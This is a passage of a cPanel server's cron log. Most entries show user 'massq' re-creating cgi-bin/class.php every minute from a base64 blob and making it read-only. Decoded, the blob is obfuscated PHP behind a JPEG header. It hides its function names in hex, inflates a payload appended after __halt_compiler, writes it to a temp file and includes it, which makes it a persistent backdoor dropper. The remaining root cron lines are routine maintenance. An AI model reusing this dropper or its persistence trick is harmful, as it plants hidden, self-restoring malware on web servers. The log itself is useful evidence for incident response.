PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:29:01 server CROND[18616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:30:01 server CROND[18672]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 07:30:01 server CROND[18673]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 07:30:01 server CROND[18674]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 07:30:01 server CROND[18675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:31:01 server CROND[18790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:32:01 server CROND[18852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:33:01 server CROND[18909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:34:01 server CROND[19071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:35:01 server CROND[19156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 07:35:01 server CROND[19157]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 07:35:01 server CROND[19158]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 07:35:01 server CROND[19160]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 07:35:01 server CROND[19159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:36:01 server CROND[19287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:37:01 server CROND[19350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:38:01 server CROND[19408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:39:01 server CROND[19556]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 07:39:01 server CROND[19557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:40:01 server CROND[19623]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 07:40:01 server CROND[19624]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 07:40:01 server CROND[19625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 07:40:01 server CROND[19626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:41:01 server CROND[19752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:42:01 server CROND[19816]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
